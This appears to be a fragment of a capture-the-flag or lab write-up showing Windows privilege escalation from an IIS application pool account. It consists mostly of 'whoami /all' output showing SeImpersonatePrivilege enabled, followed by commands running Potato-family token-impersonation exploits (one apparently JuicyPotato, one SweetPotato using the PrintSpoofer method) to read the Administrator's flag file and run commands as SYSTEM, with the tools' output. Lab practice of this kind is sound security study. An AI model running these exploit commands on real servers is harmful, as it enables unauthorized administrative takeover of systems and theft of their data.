C:\Users>whoami /all ERROR: Unable to get user claims information.
USER INFORMATION ----------------
User Name SID ================= =============================================================== iis apppool\retro S-1-5-82-3788814120-2795558051-4026253505-1810414383-1644260341
GROUP INFORMATION -----------------
Group Name Type SID Attributes ==================================== ================ ============ ================================================== Mandatory Label\High Mandatory Level Label S-1-16-12288 Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
.\a.exe -t * -p "C:\Windows\System32\cmd.exe" -l 1337 -a "/c type C:\Users\Administrator\Desktop\root.txt.txt > C:\temp\output.txt"
还是这个土豆最爽了
PS C:\temp> .\b.exe -a "whoami" Modifying SweetPotato by Uknow to support webshell Github: https://github.com/uknowsec/SweetPotato SweetPotato by @_EthicalChaos_ Orignal RottenPotato code and exploit by @foxglovesec Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery PrintSpoofer discovery and original exploit by @itm4n [+] Attempting NP impersonation using method PrintSpoofer to launch c:\Windows\System32\cmd.exe [+] Triggering notification on evil PIPE \\RetroWeb/pipe/c02390ff-60b9-421d-93e6-cd9cadcad4d6 [+] Server connected to our evil RPC pipe [+] Duplicated impersonation token ready for process creation [+] Intercepted and authenticated successfully, launching program [+] CreatePipe success [+] Command : "c:\Windows\System32\cmd.exe" /c whoami [+] process with pid: 2716 created.
